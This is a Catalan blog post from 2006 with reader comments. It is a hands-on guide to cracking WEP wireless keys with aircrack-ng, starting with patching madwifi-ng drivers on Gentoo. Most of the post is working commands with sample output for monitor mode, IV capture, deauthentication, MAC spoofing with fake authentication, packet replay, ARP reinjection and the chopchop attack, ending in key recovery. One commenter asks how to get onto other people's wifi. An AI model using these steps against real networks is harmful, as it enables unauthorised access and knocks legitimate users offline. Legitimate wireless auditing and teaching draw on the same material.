WEP Cracking amb aircrack-ng

Fa un any parlàvem de com trencar la encriptació WEP amb aircrack, actualment està disponible aircrack-ng: aircrack next generation, un fork del aircrack original que inclou noves funcionalitats per auditar xarxes sense fils.

Han muntat un wiki i un fòrum amb moltíssima documentació i molt ben organitzada, si us interessa el tema feu-li un cop d’ull.

Els parches per als mòduls de kernel dels diferents xipsets es continuen desenvolupant, els podeu trobar aquí, també hi ha disponible al wiki la documentació per parchejar els drivers.

Seguint la documentació per madwifi-ng he adaptat el procés per fer-ho directament des de el portage de Gentoo, us deixo les instruccions a continuació.

El aircrack-ng ja està al portage; en el moment d’escriure això la última versió és la 0.4.4 i la de portage no està actualitzada però podeu instal·lar la última només canviant-li el nom a l’ebuild i executant un ebuild digest.

Parchejar madwifi-ng de Gentoo per reinjectar tràfic amb aircrack-ng

Baixar el patch de patches.aircreack-ng.org corresponent a la versió de madwifi que tinguem actualment a portage. Copiar el patch a la carpeta /usr/portage/net-wireless/madwifi-ng/files/.

Editar el ebuild de madwifi-ng, i a la funció src_unpack() afegir el epatch després del cd ${S}:

    cd ${S}
    epatch ${FILESDIR}/madwifi-ng-r1520.patch

Executar ebuild madwifi-ng-[versió].ebuild digest, i després fer el emerge madwifi de forma normal.

Cal recordar que si utilitzem wpa_supplicant o hostapd amb madwifi s’han de tornar a compilar després d’actualitzar madwifi-ng

Guia ràpida de WEP cracking amb aircrack-ng

Un cop he tingut el sistema preparat, he fet un parell de proves per veure que tot funciona bé, tota la documentació està al wiki que he comentat abans, però per als impacients aquí teniu una petita guia dels passos que he seguit.

Primer s’ha de posar la targeta en mode monitor, aircrack-ng porta un shell script que detecta el xipset de la nostra targeta wifi i ho fa per nosaltres, només cal executar airmon-ng que és l’equivalent al airmon.sh del aircrack antic. Si volem fer-ho manualment, amb madwifi-ng ha canviat la sintaxis i ja no es pot fer amb iwconfig, sinó que s’han d’utilitzar les madwifi-tools. Aquí teniu els dos exemples:

# wlanconfig ath0 create wlandev wifi0 wlanmode monitor
# airmon-ng start wifi0
	
usage: airmon-ng <start|stop> <interface> [channel]
	
Interface       Chipset         Driver
	
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
wifi0           Atheros         madwifi-ng (monitor mode enabled)

Això ens crearà la interface ath1 en mode monitor. Seguidament hem d’executar airodump-ng per veure les xarxes wifi disponibles, i els possibles clients connectats a cada AP.

# airodump-ng -w capturefile ath1
	
 CH  9 ][ Elapsed: 56 s ][ 2006-04-27 02:50
	
 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
	
 00:14:BF:42:4B:2B  151      102        0   3  48  OPN   pofHQhotspot
 00:C0:94:1F:3D:49  109       61        7   6  48  WEP   pofHQWep
 00:06:25:7D:71:5D  128       65        0   1  48  WPA   pofHQ
	
 BSSID              STATION            PWR  Packets  Probes

Un cop hem seleccionat la xarxa víctima (en aquest exemple serà pofHQWep) anotem el ESSID, BSSID i si hi ha clients connectats també les MACs dels clients. Premem CTRL+C per sortir de airodump-ng i continuem el procés.

Tornem a executar airodump-ng, amb la següent sintaxis per capturar els IVs per fer l’atac i fixant-lo al canal de la WLAN que volem atacar.

# airodump-ng -c 6 --ivs -w capturefile ath1

Ara hem de deixar el airodump-ng funcionant, i canviem a un altre terminal.

El procés és una mica més complicat si no trobem cap client connectat a la xarxa, en aquest cas haurem de jugar una mica més per poder reinjectar tràfic, aquests són els diferents atacs que podem realitzar amb l’objectiu d’augmentar el tràfic de la xarxa per recollir IVs que revelin informació de la clau.

Deauthentication attack

Aquest atac ens permet recuperar un SSID ocult (que no tingui broadcast), capturar handshakes WPA forçant que els clients es reautentiquen, i generar ARP requests ja que els clients Windows buiden la cache d’ARP quan son desconnectats. Evidentment, aquest atac no serà efectiu si no hi ha cap client associat a la xarxa.

Intentem trobar la MAC d’un client, primer provem desautenticant a totes les estacions:

# aireplay-ng -a 00:C0:94:1F:3D:49 --deauth 3 ath1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
02:59:15  Sending DeAuth to broadcast -- BSSID: [00:C0:94:1F:3D:49]
02:59:16  Sending DeAuth to broadcast -- BSSID: [00:C0:94:1F:3D:49]
02:59:17  Sending DeAuth to broadcast -- BSSID: [00:C0:94:1F:3D:49]

Si algun client fos desautenticat airodump-ng veuria com es reautentica i apareixeria la seva mac a la llista de clients. Podem repetir l’atac amb el paràmetre -c per atacar a un client específic.

Si amb aquest atac no tenim sort (xej, no hi ha cap client connectat), podem provar forçant una autenticació falsa:

Fake authentication attack

Aquest atac només es útil quan no hi ha cap client associat, sempre és millor executar-lo amb l’adreça MAC d’un client real.

El primer pas és fixar-nos la nostra MAC a la que utilitzarem per fer l’autenticació falsa (en l’exemple ca:fe:ca:fe:ca:fe), d’aquesta manera els següents atacs tenen més probabilitats de funcionar correctament.

# ifconfig ath0 down
# ifconfig ath0 hw ether ca:fe:ca:fe:ca:fe
# ifconfig ath0 up
# aireplay-ng -e \"pofHQWep\" -a 00:C0:94:1F:3D:49 -h ca:fe:ca:fe:ca:fe --fakeauth 30 ath1
03:02:56  Sending Authentication Request
03:02:56  Authentication successful
03:02:56  Sending Association Request
03:02:56  Association successful : -)
[...]

Si l’atac falla (aireplay-ng continua enviant peticions d’autenticació), es possible que el AP tingui configurat filtrat per MAC.

Interactive packet replay attack

Aquest atac permet triar un paquet determinat per injectar-lo i esperar una resposta que generi tràfic xifrat vàlid, moltes vegades és més efectiu que l’atac de reinjecció d’arp-request.

Es pot forçar el re-broadcast de tot el tràfic que veiem, (només funciona si l’AP reencripta els paquets WEP):

# aireplay-ng --interactive -b 00:C0:94:1F:3D:49 -n 100 -p 0841 \
-h ca:fe:ca:fe:ca:fe -c FF:FF:FF:FF:FF:FF ath1

ARP-request reinjection attack

El clàssic atac d’arp-request / reply és el mes efectiu per generar nous IVs i funciona en la gran majoria de casos. Per dur-lo a terme necessitem la MAC d’un client associat, o una MAC falsa que hagem utilitzat en l’atac de Fake Authentication. Haurem d’esperar fins que aireplay-ng capturi un paquet ARP request, i a partir de llavors ja podem gaudir de veure com augmenta el comptador de IVs al aircrack-ng.

Es pot reutilitzar un ARP request d’una captura prèvia utilitzant la opció -r.

# aireplay-ng --arpreplay -b 00:C0:94:1F:3D:49 -h ca:fe:ca:fe:ca:fe ath1
Saving ARP requests in replay_arp-0427-031636.cap
You should also start airodump-ng to capture replies.
Read 1234 packets (got 0 ARP requests), sent 0 packets...

KoreK chopchop attack

Aquest és un dels atacs mes macos del aircrack-ng, si funciona correctament pot desencriptar un paquet xifrat amb WEP sense conèixer la clau, fins i tot és possible que funcioni contra WEP dinàmic!. Aquest atac no recupera la clau WEP, però revel·la el plaintex d’un paquet xifrat (recordeu que PLAINTEXT (xor) CIPHERTEXT == keystream). La llàstima és que la majoria de punts d’accés no son vulnerables, però sempre s’ha d’intentar! Els passos per executar l’atac a continuació:

Primer desencriptem un paquet:

# aireplay-ng --chopchop -h ca:fe:ca:fe:ca:fe ath1
Read 286 packets...
	
        Size: 345, FromDS: 1, ToDS: 0 (WEP)
	
             BSSID  =  00:C0:94:1F:3D:49
         Dest. MAC  =  01:00:5E:7F:FF:FA
        Source MAC  =  00:C0:49:D3:B6:4D
[...]
        --- CUT ---
	
Use this packet ? yes
Saving chosen packet in replay_src-0427-031148.cap
Offset  344 ( 0% done) | xor = 65 | pt = 65 |  423 frames written in  3276ms
Offset  343 ( 0% done) | xor = AF | pt = 32 |  412 frames written in  3967ms
Sent 343 packets, current guess: 55...

Mirem quina és l’adreça IP:

# tcpdump -s 0 -n -e -r replay_src-0427-031148.cap
reading from file replay_dec-0627-022301.cap, link-type [...]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

Forcem un ARP request, podem posar el que vulguem com a IP d’origen (en l’exemple 192.168.1.100), però es important que la IP de destí (en l’exemple 192.168.1.2) contesti els ARP requests. La MAC d’origen ha de pertànyer a una estació associada.

# arpforge-ng replay_dec-0427-031148.xor 1 00:C0:49:D3:B6:4D \
01:00:5E:7F:FF:FA 192.168.1.100 192.168.1.2 arp.cap

A continuació reinjectem el arp-request que hem construït, utilitzant l’atac comentat anteriorment:

# aireplay-ng --reply -r arp.cap ath1

Obtenint resultats

Mentre fem els diferents atacs en background, obrim un altre terminal per executar l’aircrack-ng, que llegirà els IVs del fitxer que hem indicat anteriorment al llançar l’airodump-ng. Aquest és el procés és el que finalment recuperarà la clau. Generalment llançant-lo amb aquesta sintaxis és efectiu:

#  aircrack-ng -0 -x capturefile-03.ivs
	
                 [00:01:43] Tested 1991733 keys (got 217865 IVs)
[...]

Quan tinguem suficients IVs apareixerà el missatge KEY FOUND! amb la clau WEP. Si veieu que triga molt o tot i que teniu molts IVs és incapaç de trobar la clau podeu jugar amb les diferents opcions, per exemple desactivant els atacs d’en korek un a un.

Don’t be (too) evil! 😉

This entry was posted in linux, security, wireless. Bookmark the permalink.

13 Responses to WEP Cracking amb aircrack-ng

  1. anthrax says:

    Tú si que en saps Pau! 😉
    Jo he “jugat” una miqueta amb el aircrack amb una tarjeta wireless pcmcia amb chipset atheros. Havia d’usar una versió una mica antiga (Octubre del 2005) per tal que el parche que permet injectar paquets en mode monitor funcioni :(

    Esta bé sapiguer que amb aircrack-ng es pot utilitzar les últimes versions del driver de madwifi :)

    Per cert, aprofitant la vinentessa, et vull per un parell de preguntes sobre el tema:

    ¿ Funciona el Deauthentication attack usant la direcció de broadcast ?

    Per que jo sempre haig d’usar una direcció d’un client associat al AP :(

    ¿ Com collons (amb perdó) es fa per aconseguir el “preuat” ARP request xifrat, quan no hi ha cap client associat al AP ?

    No acabo de veure como pot ajudar fer un Fake authentication attack encara que el AP faci ús d’una autenticació en mode open …

    Gracies per adelantat d’un Pau que viu a prop de Lesseps … ;D

  2. pof says:

    ¿ Funciona el Deauthentication attack usant la direcció de broadcast ?

    Hauría de funcionar però suposo q dependrà del hardware i dels clients. Acabo de fer una prova amb un linksys amb OpenWRT i un client WindowsCE i no ha funcionat, en canvi si q funciona especificant la MAC del client. Quan tingui una mica de temps intentaré fer més proves amb diferent hardware i si trovo alguna combinació vàlida posaré un nou comenentari.

    ¿ Com collons (amb perdó) es fa per aconseguir el “preuat” ARP request xifrat, quan no hi ha cap client associat al AP ?

    Has de pensar que és impossible capturar un arp request xifrat /per reinjectar-lo) si no hi han clients associats, i el client “fake” no pot generar arp requests ja que només està associat a capa 2. ARP funciona a capa 2 del model OSI, pero necessita capa 3 per funcionar (sol·licita una MAC a través d’una IP) i la comunicació a capa 3 entre el AP i el client “fake” no és possible sense coneixer la clau WEP.

    Per tant, per obtenir el preciat “arp request” inicial per reinjectar quan no hi ha cap client necessites una “combinació de factors” que de vegades fan possible reinjectar tràfic i de vegades no. Generalment és mes fàcil si l’AP està funcionant en mode bridge i té clients connectats a través de la LAN cablejada 😉 això és un escenari molt típic, el problema és que no coneixem les MACs d’aquests clients…

    El que has de fer és obrir varios terminals i combinar diferents atacs:

    – Llances aireply en modo “fakeauth” (el deixes funcionant encara que digui que l’atac falla) també t’has d’assignar manualment la MAC del client “fake” a la tarjeta.
    – Forces el re-broadcast de tot el tràfic que vegis amb el modo “interactive”
    – Llances un parell o tres d’aireplys en modo “arpreply”, amb totes les MACs que hagis usat en els atacs anteriors (AP, client fake, etc…)
    – Finalmemnt, fes algo distret mentre esperes… poden ser 2 minuts o pot no arribar mai :)

    També has de tenir en compte que si el AP està configurat per usar Shared Key Authentication el client ha d’encriptar un challenge abans de que el AP li permeti l’associació i aquest procés és deficient per culpa de com WEP aplica l’RC4 i permet descobrir part del keystream per a un IV determinat, en aquests casos crec que un atac “chopchop” podría funcionar inclús sense cap client connectat. Com t’he dit, és tot una combinació de factors, si no hi ha clients connectats crackejar WEP és molt més complicat.

    Gracies per adelantat d’un Pau que viu a prop de Lesseps … ;D

    De rés… i espero haver-te contestat les preguntes, jo fa uns quants anys també vivia per allí 😉

  3. anthrax says:

    Moltes gracies

    Pablo.
    P.D: Records a l’Ivan de part meva ;D

  4. meneame.net says:

    WEP Cracking con aircrack-ng…

    Pau nos regala una interesante guía rápida sobre cómo usar el ‘aircrack next generation’ para "auditar" redes 802.11. Hace un repaso sobre diferentes tipos de ataques y aporta enlaces a documentación externa (inglés) para complementar …

  5. brainstorm says:

    Wow, què poc has trigat en donar-li un cop d’ull a l’aircrack-ng, eh pillastre ? XD

    Per la meva part, vaig estar fent proves fa un temps (aircrack-ng 3.0), i tot i que he conseguit crackejar una clau wep, la reinjecció (amb el patch aplicat) no em va funcionar mai :( Provant-ho amb la Senao 802.11b típica de 200mW… però ja se sap que el wep cracking a vegades té més art (& sort) que ciència 😉

    [OT] has provat els VAP’s (Virtual Access Points) del madwifi-ng ? Van de perles per evitar càncer 😉

  6. anthrax says:

    Ostres!, la web de http://www.aircrack-ng.org esta caiguda … :(

    De moment s’ha de tirar de aquesta altre que en teoria havía de ser reemplaçada por la de http://www.aircrack-ng.org :

    http://tinyshell.be/aircrackng/wiki/index.php?title=Aircrack-ng

    Per cert Pof, ja crec que entenc en que ajuda en fer el “fake authentication” 😉

    Pablo

  7. Quands.cat says:

    Us d’aircrack-ng…

    explica com utilitzar l’aircrack-ng per obtenir la clau de xifrat WEP d’una xarxa sense fils….

  8. pof says:

    brain: encara no he provat lo dels VAP… tinc 1000 coses al cap (fucking procastination!), quan ho provi faré un post 😛

  9. Joan says:

    Bones cracks !

    Gràcies a les vostres explicacions he conseguit desencriptar la clau wep. Ho he fet amb una targeta prestada “Proxim Orinoco Gold” pero em demana 90 euros per la targeta. He buscat algo més economic i he vist que la targeta DLINK DWL-G650 incorpora el chip Atheros pero no trobo en lloc algu que afirmi que funciona correctament.

    Vosaltres l’heu provat i m’aconselleu la compra??

    Moltes gràcies per la vostra ajuda !

  10. pof says:

    La DWL-G650 diria que la van fabricar en dos xips diferents, atheros i un altre que no recordo, hauríes de mirar la revisió. Jo en tinc una aquí amb atheros i al darrera posa “H/W: B2″, pero no et se dir quines revisions porten quin xip, suposo q amb una mica de google no hauría de ser difícil de trobar 😉

  11. Guillem says:

    Sabeu com puc accedir al wifi d’altres amb una conceptronics usb c54ru?

  12. hiroru says:

    bones,

    brainstorm, estem igual, he provat amb tres targetes diferents, parchejant diferents versions dels drivers madwifi i no hi ha manera.

    M’estic desesperant XD

    Potser algun dia ho podré fer sense haver de deixar el portàtil 24h engegat ^_^

  13. enzo says:

    hola quisiera saber si alguien me puede ayudar no se como funcion a el aircrack estoy en terrassa porfavor ayuda

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>